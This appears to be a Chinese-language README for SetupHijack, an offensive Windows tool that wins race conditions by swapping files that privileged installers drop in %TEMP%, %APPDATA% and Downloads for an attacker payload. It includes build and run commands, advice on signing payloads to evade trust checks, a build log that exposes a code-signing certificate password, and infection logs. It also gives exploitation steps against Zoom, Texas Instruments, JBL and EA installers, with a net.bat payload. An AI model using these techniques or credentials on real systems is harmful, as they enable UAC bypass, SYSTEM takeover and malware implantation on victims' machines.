SetupHijack

概述

SetupHijack 是一款安全研究工具，利用 Windows 安装程序和更新进程中的竞态条件及不安全文件处理漏洞。它针对特权安装程序或更新程序将文件放入 %TEMP% 或其他人人可写位置，并允许攻击者在这些文件以提升权限执行之前将其替换的场景。

• 运行不需要提升权限。
• 不使用文件系统通知（而是轮询更改）。
• 利用 Authenticode 代码签名和安装程序信任模型中的弱点。
• 可感染 .exe、.msi 和批处理文件（例如 sysinfo、netstat、ipconfig）。
• 仅用于红队、渗透测试和安全研究。

该工具的预期用途是在已入侵的、具有权限的用户账户上后台运行，通过劫持安装程序/更新程序的文件落盘来提升另一个进程的权限。

下图展示了此漏洞在多种场景中的真实示例用例，可用于 UAC 绕过。在 Adminless 模式下运行时，UAC 绕过被视为安全边界，并且是禁用安全控制时的常见“攻击者需求”。利用特权管理员操作可为恶意代码提供通用的漏洞利用途径，以进行侧加载或提升进程权限。该工具可用于识别其他暴露于同类风险的应用程序，攻击者可以等待这些进程执行，以此在不干扰用户行为的情况下获得提升的权限。

工作原理

1. SetupHijack 持续扫描 %TEMP%（及子目录）中的新增或修改的安装程序文件。
2. 检测到目标文件后，将其替换为用户提供的 payload（EXE、MSI 或 BAT），并可选择保留原始文件为 .bak。
3. 如果特权进程在完整性检查之前执行被替换的文件，payload 将以提升的权限（例如 SYSTEM 或 Administrator）运行。
4. 该工具记录所有操作并维护一个跳过列表，以避免重复感染同一文件。

代码签名说明

本项目使用了经过修改的代码签名流程，通过 SignToolEx.exe 和 SignToolExHook.dll 对 payload 和安装程序进行签名。使用有效的代码签名证书和 Authenticode 时间戳将提高您在绕过安装程序和操作系统信任检查时的成功率。

使用方法

构建```sh

nmake PAYLOAD=c:\Path\to\your\payload.exe

### 运行（选项）```sh
SetupHijack.exe                  # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp          # Disable scanning %TEMP%
SetupHijack.exe -noappdata       # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads     # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean            # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose          # Verbose mode (log all actions)
SetupHijack.exe <payload.exe>    # Use specified payload for .exe (unless argument is a recognized option)

• 在特权安装/更新过程之前或期间运行 SetupHijack.exe。
• 默认情况下，该工具会扫描所有常见的放置位置：%TEMP%、%APPDATA% 和 %USERPROFILE%\Downloads。
• 您可以使用 -notemp、-noappdata 或 -nodownloads 标志禁用任何位置。
• clean 标志会恢复所有已启用位置中的备份。verbose 标志会记录所有操作。
• 对于远程提权，请在终端服务中与 shadow.exe 或类似工具结合使用。

示例攻击流程

1. 构建你的 payload 和 SetupHijack： ```sh nmake PAYLOAD=c:\Users\YourUser\Desktop\payload.exe
   root@kitploit:~

2. 启动 SetupHijack: ```sh SetupHijack.exe
   root@kitploit:~

3. 以管理员身份启动目标安装程序或更新进程。
4. 如果安装程序将文件放入 %TEMP% 并以提升的权限执行它们，你的载荷将被替换并运行。

示例输出

以下是一个构建和运行 SetupHijack 的真实示例，包括代码签名和感染输出：``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"

Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.

    powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
    cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp

SetupHijack.cpp SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced taskkill /f /im SetupHijack.exe 2>nul powershell -Command "Start-Sleep -Milliseconds 500" link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest copy /y install.wxs.template install.wxs 1 file(s) copied. powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs" wix build install.wxs -o install.msi Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs" call sign_random.bat Using CERT: [certs\rockstar1.pfx] Using PASS: [C!EZxYUxVGPzQDj3] The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6

Done Adding Additional Store Successfully signed: SetupHijack.exe

Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6

Done Adding Additional Store Successfully signed: install.msi

Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0

C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>SetupHijack.exe [2025-09-24 15:20:46] [SetupHijack] Using payload: C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe [2025-09-24 15:20:46] [SetupHijack] If infecting .msi, will use: install.msi [2025-09-24 15:20:46] [SetupHijack] Polling enabled locations recursively for .exe, .msi, .bat: [2025-09-24 15:20:46] - C:\Users\FANTAS1\AppData\Local\Temp [2025-09-24 15:20:46] - C:\Users\Fantastic\AppData\Roaming [2025-09-24 15:20:46] - C:\Users\Fantastic\Downloads [2025-09-24 15:20:46] [SetupHijack] Entering infection loop. [2025-09-24 15:20:59] [SetupHijack] Total infections this session: 0 [2025-09-24 15:21:13] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\installcmd.bat with payload install.bat, backup: C:\Users\FANTAS~1\AppData\Local\Temp\installcmd.bat.bak [2025-09-24 15:21:13] [SetupHijack] New infections this run: 1 [2025-09-24 15:21:22] [SetupHijack] Replaced C:\Users\Fantastic\Downloads\installcmd.msi with payload install.msi, backup: C:\Users\Fantastic\Downloads\installcmd.msi.bak [2025-09-24 15:21:26] [SetupHijack] New infections this run: 1 [2025-09-24 15:21:26] [SetupHijack] Total infections this session: 2 [2025-09-24 15:21:41] [SetupHijack] Replaced C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe.bak [2025-09-24 15:21:41] [SetupHijack] New infections this run: 1 [2025-09-24 15:21:53] [SetupHijack] Total infections this session: 3

## 用于部署植入物的示例

以下是 SetupHijack 在特权安装程序运行期间部署植入物的截图：

![用于部署植入物的示例](https://assets.kitploit.com/production/public/readmes/42886/25e1c4b4b2ca8921509760ae8ddf420a66a13deaed03631c44de618dc668f218.png)

## 安全说明

- 此工具仅供授权测试和研究使用。
- 当用户处于管理员组时，利用这些弱点可能导致 SYSTEM 权限被完全接管。
- 安装程序可能会使用哈希/签名检查来阻止此攻击，但很多安装程序仍然不会这么做。
- 请始终在受控环境中使用。
- 如果您使用此工具发现 CVE 或获得赏金，请记得给我们署名！

一次只针对单个目录（例如 `%TEMP%`）可以提高赢得创建时间/使用时间（TOCTOU）竞态条件的可能性，因为它允许更快的轮询和更少的争用。为了获得最大可靠性，请运行多个 SetupHijack 实例，每个实例专注于一个目录。为了获得最佳效果，请确保您的载荷（即您希望以提升权限运行的 EXE）包含请求提升权限的清单（requireAdministrator），并使用带有 Authenticode 时间戳的有效代码签名证书进行签名。这会增加绕过安装程序和操作系统信任检查的机会。

## 已识别的漏洞

以下非详尽列表识别出“最佳情况”场景：运行不受信任的 .MSI 会产生“NT AUTHORITY\SYSTEM”权限，但许多“UAC 提升”的
进程通常会通过 .bat 文件运行。由于执行发生在同一 USER SID 下，而 %TEMP% 对 USER SID 是唯一的，它构建在 %USERPROFILE%
之下，作为内部会话创建的一部分，您可以通过操纵继承父进程权限的 .bat 文件，将同一会话中的命令提升为高完整性完全权限。
“临时文件提升命令执行”是一个常见发现——可用于 UAC 绕过，以及在非管理员（Admin-Less）用户下执行，因为
安全桌面上的用户提示会显示被利用的应用程序（例如 Zoom 更新）。

- Zoom 6.6.1 (15968) 使用 %AppData% 进行 .exe 安装和更新，这允许横向进程移动和
  进程伪装（例如从 Zoom 更新发送提升请求）。可执行文件很容易被操纵，
  用于凭据窃取攻击和恶意目的。```
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\airhost.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\aomhost64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptControl.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptHost.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptInstall.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptService.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zCrashReport.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zCrashReport64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Zoom.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomDocConverter.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomHybridConf.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookIMPlugin.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookMAPI\ZoomOutlookMAPI.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookMAPI\ZoomOutlookMAPI64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Zoom_launcher.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zTscoder.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zUpdater.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zWebview2Agent.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\uninstall\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\ZoomDownload\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe

• 运行 install.msi 时，msiexec.exe 在 NT AUTHORITY\SYSTEM 下执行

• Wireshark 更新 exe 通过 %Temp% 传入，未能在竞态中胜出。

• Visual Studio 对更新的代码签名检查可防止利用（已对 .VSIX 进行轻度测试）

• Texas Instrument Code Composer Installer 可被利用以实现 UAC 认证绕过，09/25/2025。 (ccs_setup_20.3.0.00014.exe)``` [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\7z.exe with payload c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\7z.exe.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\7za.exe with payload c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\7za.exe.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\ccs_monitor.bat with payload install.bat, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\ccs_monitor.bat.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\ccs_update_20.3.0.00014.exe with payload c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\ccs_update_20.3.0.00014.exe.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\certificates\install-certs.bat with payload install.bat, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\certificates\install-certs.bat.bak [2025-09-25 14:39:59] [SetupHijack] New infections this run: 1 [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\curl.exe with payload c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\curl.exe.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\signing\sign.bat with payload install.bat, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\signing\sign.bat.bak [2025-09-25 14:39:59] [SetupHijack] New infections this run: 1 [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\wget\wget.exe with payload c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\wget\wget.exe.bak [2025-09-25 14:39:59] [SetupHijack] New infections this run: 1 [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\zip\unzip.exe.bak [2025-09-25 14:39:59] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\ccs_fe3a9075-a8c1-44c2-69a2-0d76d423353e\util\zip\zip.exe.bak [2025-09-25 14:39:59] [SetupHijack] New infections this run: 2 [2025-09-25 14:39:59] [SetupHijack] New infections this run: 5 [2025-09-25 14:40:02] [SetupHijack] Total infections this session: 13 [2025-09-25 14:40:29] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\tmp1758829228.bat.bak [2025-09-25 14:40:29] [SetupHijack] New infections this run: 1

- Cursor IDE 已被观察到在 %TEMP% 中创建 .bat 文件和命令历史，可被利用来向 Cursor 历史中注入
  命令，权限提升受限。 


- JBL Quantum Engine 包含一个（现已修补的）命令注入漏洞，它会从 JBL_QuantumENGINE_1.11.0.1511_x64
  被执行的同一目录中运行“net”（包括 .bat）。最新版本使用新的安装程序，
  不再受此特定命令注入漏洞影响（JBL_QuantumENGINE_Installer_2.2.13_x64.exe）。
  此问题于 2022 年 11 月作为 0day 被发现。它可用于绕过 UAC 限制并获得提升的
  管理员权限。SYSTEM 服务会在 %TEMP% 下写入 bat 文件以用于调试/诊断。;-)```
C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day>type net.bat
@echo off
REM install.bat - runs the payload for SetupHijack
start "" "c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe"

C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day>dir JBL_QuantumENGINE_1.11.0.1511_x64.exe
 Volume in drive C has no label.
 Volume Serial Number is 48EC-B703

 Directory of C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day

11/20/2022  11:54 AM       139,327,096 JBL_QuantumENGINE_1.11.0.1511_x64.exe
               1 File(s)    139,327,096 bytes
               0 Dir(s)  237,500,821,504 bytes free

• EA Sports "EA Anti-Cheat Installer" 任意提权命令执行。 类似 "skate." 的 EA 游戏会安装一项反作弊服务，该服务使用临时且用户可写的 位置。攻击者可以在 STEAM 安装期间替换 EAAntiCheat.Installer.exe， 随后会出现一个来自 STEAM 引擎的 UAC 提权提示，带有 Valve 徽标和图标，但会以提升的权限执行你的 payload exe。 参见 EASkateUAC 截图，用于 UAC 绕过(混淆？)攻击。``` Directory of C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat

09/29/2025 04:34 PM

C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat>cacls EAAntiCheat.Installer.exe C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat\EAAntiCheat.Installer.exe BUILTIN\Users:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F WIN11LAB\Fantastic:(ID)F APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R

C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat>copy c:\Users\Fantastic\Documents\Work\EA\launch_demo.exe EAAntiCheat.Installer.exe Overwrite EAAntiCheat.Installer.exe? (Yes/No/All): A 1 file(s) copied.

# 许可证

这些文件以 3-clause BSD 许可证提供。